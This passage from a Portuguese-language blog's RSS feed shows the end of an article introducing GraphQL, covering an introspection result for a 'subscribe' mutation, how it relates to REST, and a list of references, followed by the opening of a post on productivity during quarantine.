                    &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;NON_NULL&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ID&quot;&lt;/span&gt;
                      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;SCALAR&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token null keyword&quot;&gt;null&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;NON_NULL&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String&quot;&lt;/span&gt;
                      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;subscribe&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;NON_NULL&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Boolean&quot;&lt;/span&gt;
                      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;createdAt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;NON_NULL&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;DateTime&quot;&lt;/span&gt;
                      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;updatedAt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;kind&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;NON_NULL&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                      &lt;span class=&quot;token property&quot;&gt;&quot;ofType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;DateTime&quot;&lt;/span&gt;
                      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A &lt;em&gt;query&lt;/em&gt; ficou um pouco mais clara agora. A &lt;em&gt;Mutation&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;subscribe&lt;/code&gt; aceita um parâmetro com nome &lt;code class=&quot;language-text&quot;&gt;input&lt;/code&gt;, do
tipo &lt;code class=&quot;language-text&quot;&gt;SubscribeInput&lt;/code&gt;. Esse, além de ser obrigatório (&lt;code class=&quot;language-text&quot;&gt;NON_NULL&lt;/code&gt;), possui dois campos: &lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;email&lt;/code&gt;. Isso
explica a linha &lt;code class=&quot;language-text&quot;&gt;subscribe(input: { name: &quot;&amp;lt;seu-nome&gt;&quot;, email: &quot;&amp;lt;seu-email&gt;&quot; }) {&lt;/code&gt;, na consulta anterior.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;subscribe&lt;/code&gt; retorna um tipo &lt;code class=&quot;language-text&quot;&gt;User&lt;/code&gt;, também obrigatório. Esse tipo possui os campos &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;subscribe&lt;/code&gt;,
&lt;code class=&quot;language-text&quot;&gt;createdAt&lt;/code&gt;, e &lt;code class=&quot;language-text&quot;&gt;updatedAt&lt;/code&gt;. Como especificamos dentro do bloco &lt;code class=&quot;language-text&quot;&gt;subscribe&lt;/code&gt; os campos &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt;, e &lt;code class=&quot;language-text&quot;&gt;email&lt;/code&gt;,
esse é o resultado que obtemos no &lt;em&gt;JSON&lt;/em&gt; de resposta. Que representa a &lt;em&gt;subscription&lt;/em&gt; sendo efetuada, e meus
dados como usuário sendo retornados.&lt;/p&gt;
&lt;h3&gt;Por baixo dos panos&lt;/h3&gt;
&lt;p&gt;Existem outros conceitos não explorados nesse artigo, como por exemplo as &lt;a href=&quot;https://www.digitalocean.com/community/tutorials/graphql-mutations-subscriptions&quot; title=&quot;Mutations and Subscriptions in GraphQL&quot;&gt;&lt;em&gt;Subscriptions&lt;/em&gt;&lt;/a&gt;. O que
pode estar confuso para você é como que o servidor interpreta o &lt;em&gt;GraphQL&lt;/em&gt;, e coleta os dados para formar
a resposta da requisição.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/4a6836ebc99a7bcc07a68b5400d3863e/e5166/detective-pikachu.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 51.041666666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAgMF/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQAC/9oADAMBAAIQAxAAAAHjtK2y5kDf/8QAGxAAAgEFAAAAAAAAAAAAAAAAAQIDABAREiH/2gAIAQEAAQUCAy83EY7MtSEm3//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABYRAAMAAAAAAAAAAAAAAAAAABARIf/aAAgBAgEBPwFUf//EABsQAAICAwEAAAAAAAAAAAAAAAERABAhQXGB/9oACAEBAAY/Ah2expVk7Nf/xAAaEAADAQADAAAAAAAAAAAAAAAAARExIUFR/9oACAEBAAE/IXqajSraFulXSOGGwP0Y9P/aAAwDAQACAAMAAAAQd+//xAAXEQADAQAAAAAAAAAAAAAAAAABEBEh/9oACAEDAQE/ELhX/8QAFhEBAQEAAAAAAAAAAAAAAAAAARAR/9oACAECAQE/EHQn/8QAGRABAQEBAQEAAAAAAAAAAAAAAREhAGGh/9oACAEBAAE/EDIQhRx3jC0raez3jhjWk+8laTRzlTDlRmnErO//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Imagem do filme Detective Pikachu, mostrando o Pikachu com uma lupa&quot;
        title=&quot;Será que conseguimos encontrar um emprego de detetive, para Pokémons, utilizando GraphQL? (www.geekgirlauthority.com/)&quot;
        src=&quot;/static/4a6836ebc99a7bcc07a68b5400d3863e/212bf/detective-pikachu.jpg&quot;
        srcset=&quot;/static/4a6836ebc99a7bcc07a68b5400d3863e/7809d/detective-pikachu.jpg 192w,
/static/4a6836ebc99a7bcc07a68b5400d3863e/4ecad/detective-pikachu.jpg 384w,
/static/4a6836ebc99a7bcc07a68b5400d3863e/212bf/detective-pikachu.jpg 768w,
/static/4a6836ebc99a7bcc07a68b5400d3863e/5ef17/detective-pikachu.jpg 1152w,
/static/4a6836ebc99a7bcc07a68b5400d3863e/e5166/detective-pikachu.jpg 1200w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Será que conseguimos encontrar um emprego de detetive, para Pokémons, utilizando GraphQL? (www.geekgirlauthority.com/)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Comigo o &quot;click&quot; aconteceu depois de checar o código dos repositórios abaixo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lucasbento/graphql-pokemon&quot; title=&quot;Confira o repositório no Github&quot;&gt;lucasbento/graphql-pokemon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/igorlima/todo-mongo-graphql-server&quot; title=&quot;Confira o repositório no Github&quot;&gt;igorlima/todo-mongo-graphql-server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Não é feitiçaria...&lt;/p&gt;
&lt;h2&gt;Então devo adotar o GraphQL?&lt;/h2&gt;
&lt;p&gt;Possivelmente. E isso não significa necessariamente abandonar o &lt;em&gt;REST&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A retórica do &quot;GraphQL ser o substituto do REST&quot;, inclusive, foi um dos motivos do meu ceticismo em relação ao mesmo por muito tempo.&lt;/p&gt;
&lt;p&gt;Uma das análises mais sóbrias que encontrei foi da &lt;a href=&quot;https://www.thoughtworks.com/radar/languages-and-frameworks/graphql&quot; title=&quot;Technology Radar&quot;&gt;&lt;em&gt;ThoughtWorks&lt;/em&gt;&lt;/a&gt;, que categoriza o &lt;em&gt;GraphQL&lt;/em&gt; como &lt;code class=&quot;language-text&quot;&gt;ASSESS&lt;/code&gt; (ou seja, recomendada a exploração para compreender
como ele impactará o seu &lt;em&gt;business&lt;/em&gt;):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We&apos;ve seen many successful GraphQL implementations on our projects. We&apos;ve seen some interesting patterns of use too, including GraphQL for server-side resource aggregation. That said, we&apos;ve concerns about misuse of this framework and some of the problems that can occur. Examples include performance gotchas around N+1 queries and lots of boilerplate code needed when adding new models, leading to complexity. There are workarounds to these gotchas such as query caching. Even though it&apos;s not a silver bullet, we still think it&apos;s worth assessing as part of your architecture.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Se o seu produto compartilha do mesmo contexto do &lt;em&gt;Facebook&lt;/em&gt;, de ter controle total do &lt;em&gt;backend&lt;/em&gt; e do
&lt;em&gt;client&lt;/em&gt; (&lt;em&gt;web&lt;/em&gt; e &lt;em&gt;mobile&lt;/em&gt;), utilizar o &lt;em&gt;GraphQL&lt;/em&gt; faz muito sentido. Ou ainda, se a sua motivação for de reduzir o número de chamadas &lt;em&gt;HTTP&lt;/em&gt;, assim como foi a do
&lt;em&gt;Github&lt;/em&gt;, é um argumento completamente válido para a adoção da linguagem.&lt;/p&gt;
&lt;p&gt;O que talvez precise ficar claro na sua tomada de decisão é que um não substitui o outro completamente, como afirma
&lt;a href=&quot;https://www.programmableweb.com/news/just-because-github-has-graphql-api-doesnt-mean-you-should-too/analysis/2016/09/21&quot; title=&quot;Just Because Github Has a GraphQL API Doesn’t Mean You Should Too&quot;&gt;&lt;em&gt;Mike Stowe, no ProgrammableWeb&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;However, that does not mean that in GitHub’s case, pushing out a public GraphQL API was the right choice. In an effort to reduce calls, they are giving up the very layers of flexibility that I believe will drive future APIs. In essence, they chose a solution to one problem they were facing, but in doing so disregarded solutions for the problems REST was designed to solve (...)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dependendo da sua &lt;em&gt;stack&lt;/em&gt;, disponibilizar os dois formatos não é nenhum sacrifício. Aliás, ter o &lt;em&gt;GraphQL&lt;/em&gt; como uma
espécie de &lt;em&gt;API Gateway&lt;/em&gt;, agregando o resultado de demais &lt;em&gt;endpoints&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt; &lt;a href=&quot;https://levelup.gitconnected.com/graphql-is-the-new-api-gateway-383edeed4bcd&quot; title=&quot;GraphQL is the New API Gateway&quot;&gt;parece ser uma tendência&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7de39de94c321c5ef5ad1991b63fc1ee/e8950/graphql-api-gateway.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABZklEQVQoz4VRXW8TMRC8//+GEIhfg3hBRaSUBySq43pqm0Caj8udY3s/vONesUlUCfrAarWatWfWq3Fjp0iGbPGAoatJo7G34aZiPhq5Mw574LGST9GctWqPT7a+ypdv5s+v5s03TPf48m4u7XiLfYvLt/Pi9by6yPNTJf8lfo5yIdGUazJlJiSxJNBY6j/cF2LDnxHJEsCdo86JKkXWMhX/FZ8iw6LQ+yV/WC37u+v2um1b7z2AF2KcF64PpupHBWqh96EPIiosRFTA6fxZ0liuvSqgyAT1JgGxuO2QQhaX2WUaITGnAERDsUBRRwBNmjh+3KQhrom7LTko3zj+tIsmt45WTghCF1vpp8G02/FWJO0jFcmRG53YL36lkTYx/ng4hJzoboxXD6Ta78f7YWLV+HUjSzcm+f5ztw0hHaJfrNVxU7b3HBLK+la+JReTVQLHAspyUM3IrFwMyYWqglQ9OVIo9TePzzpP+VoO0QAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Topologia de serviços quando adicionado GraphQL como API Gateway&quot;
        title=&quot;Exemplo de uso de GraphQL como API Gateway, à frente de outras APIs GraphQL e REST (labs.getninjas.com.br)&quot;
        src=&quot;/static/7de39de94c321c5ef5ad1991b63fc1ee/e5715/graphql-api-gateway.png&quot;
        srcset=&quot;/static/7de39de94c321c5ef5ad1991b63fc1ee/8514f/graphql-api-gateway.png 192w,
/static/7de39de94c321c5ef5ad1991b63fc1ee/804b2/graphql-api-gateway.png 384w,
/static/7de39de94c321c5ef5ad1991b63fc1ee/e5715/graphql-api-gateway.png 768w,
/static/7de39de94c321c5ef5ad1991b63fc1ee/4ad3a/graphql-api-gateway.png 1152w,
/static/7de39de94c321c5ef5ad1991b63fc1ee/71c1d/graphql-api-gateway.png 1536w,
/static/7de39de94c321c5ef5ad1991b63fc1ee/e8950/graphql-api-gateway.png 2000w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de uso de GraphQL como API Gateway, à frente de outras APIs GraphQL e REST (labs.getninjas.com.br)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Para mim, a linguagem brilhou quando migrei o &lt;em&gt;blog&lt;/em&gt; para &lt;a href=&quot;https://www.gatsbyjs.org/&quot; title=&quot;GatsbyJS&quot;&gt;&lt;em&gt;Gatsby&lt;/em&gt;&lt;/a&gt;. A flexibilidade e assertividade que ela me proporcionou,
mesmo em um ambiente de &lt;a href=&quot;/tag/static-site-generators.html&quot; title=&quot;Leia mais sobre sites estáticos&quot;&gt;&lt;em&gt;static site generator&lt;/em&gt;&lt;/a&gt;, me deixou impressionado e até mesmo apaixonado por toda a ideia por trás da tecnologia.&lt;/p&gt;
&lt;p&gt;E esse caso de uso, na minha opinião, é motivação o suficiente para pelo menos compreendermos a linguagem.
Se há ceticismo em relação ao uso dela em uma solução que já existe, talvez ele dê uma abrandada quando
você experimentá-la em um contexto diferente.&lt;/p&gt;
&lt;p&gt;Como o livro &lt;a href=&quot;https://www.goodreads.com/book/show/40861856-graphql-or-bust&quot; title=&quot;Veja no Goodreads&quot;&gt;&quot;GraphQL or Bust: To Use It Or Not: That is the Question&quot;&lt;/a&gt; dá a entender, não tem almoço grátis:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GraphQL has often been sold as a perfect solution for every problem, but the reality is that it meets one requirement better than most other, and if that’s not part of your requirements, it may not be the best solution for your implementation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A discussão continua nas referências abaixo. Não deixe de conferir!&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://adrianolisboa.com/o-minimo-que-voce-precisa-saber-sobre-graphql-para-nao-passar-vergonha-em-uma-conversa/&quot;&gt;Adriano Lisboa: O mínimo que você precisa saber sobre GraphQL para não passar vergonha em uma conversa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://apievangelist.com/2016/08/30/graphql-seems-like-we-do-not-want-to-do-the-hard-work-of-api-design/&quot;&gt;API Evangelist: GraphQL Seems Like We Do Not Want To Do The Hard Work Of API Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.apollographql.com/blog/graphql-the-next-generation-of-api-design-f24b1689756a#.6hh9mb30w&quot;&gt;Apollo Blog: GraphQL - The next generation of API design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/graphql-mutations-subscriptions&quot;&gt;Digital Ocean - Mutations and Subscriptions in GraphQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dzone.com/articles/graphql-core-features-architecture-pros-and-cons&quot;&gt;DZone: GraphQL - Core Features, Architecture, Pros, and Cons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.getninjas.com.br/sharing-data-in-a-microservices-architecture-using-graphql-97db59357602&quot;&gt;GetNinjas: Sharing data in a Microservices Architecture using GraphQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://levelup.gitconnected.com/graphql-is-the-new-api-gateway-383edeed4bcd&quot;&gt;Gitconnected: GraphQL is the New API Gateway&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/APIs-guru/graphql-apis&quot;&gt;Github: Public GraphQL APIs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.hitchhq.com/graphql-3-reasons-not-to-use-it-7715f60cb934#.j0xhx31xg&quot;&gt;Hitch: GraphQL - 3 reasons not to use it&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.howtographql.com/&quot;&gt;How to GraphQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@paigen11/what-is-graphql-really-76c48e720202&quot;&gt;Medium: What is GraphQL, really?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.moesif.com/blog/technical/graphql/REST-vs-GraphQL-APIs-the-good-the-bad-the-ugly/&quot;&gt;Moesif: REST vs GraphQL APIs, the Good, the Bad, the Ugly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/open-graphql/moving-existing-api-from-rest-to-graphql-205bab22c184&quot;&gt;OPENGraphQL: Moving existing API from REST to GraphQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.serverless.com/blog/running-scalable-reliable-graphql-endpoint-with-serverless/&quot;&gt;Serverless: Running a scalable &amp;#x26; reliable GraphQL endpoint with Serverless&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stablekernel.com/article/advantages-and-disadvantages-of-graphql/&quot;&gt;Stable Kernel: Advantages and Disadvantages of GraphQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/40689858/are-there-any-disadvantages-to-graphql&quot;&gt;Stackoverflow: Are there any disadvantages to GraphQL?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.thoughtworks.com/radar/languages-and-frameworks/graphql&quot;&gt;ThoughyWorks: Technology Radar - GraphQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/GraphQL&quot;&gt;Wikipedia: GraphQL&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[5 práticas para ajudar na produtividade durante a quarentena]]></title><description><![CDATA[Esse post é inspirado em uma conversa que tive com a minha sobrinha, há alguns
dias atrás, relacionado à foco e concentração durante essa…]]></description><link>https://klauslaube.com.br/2020/05/22/5-ferramentas-para-ajudar-na-produtividade-durante-a-quarentena.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/05/22/5-ferramentas-para-ajudar-na-produtividade-durante-a-quarentena.html</guid><pubDate>Fri, 22 May 2020 12:01:00 GMT</pubDate><content:encoded>&lt;p&gt;Esse &lt;em&gt;post&lt;/em&gt; é inspirado em uma conversa que tive com a minha sobrinha, há alguns
dias atrás, relacionado à foco e concentração durante essa época de quarentena.&lt;/p&gt;
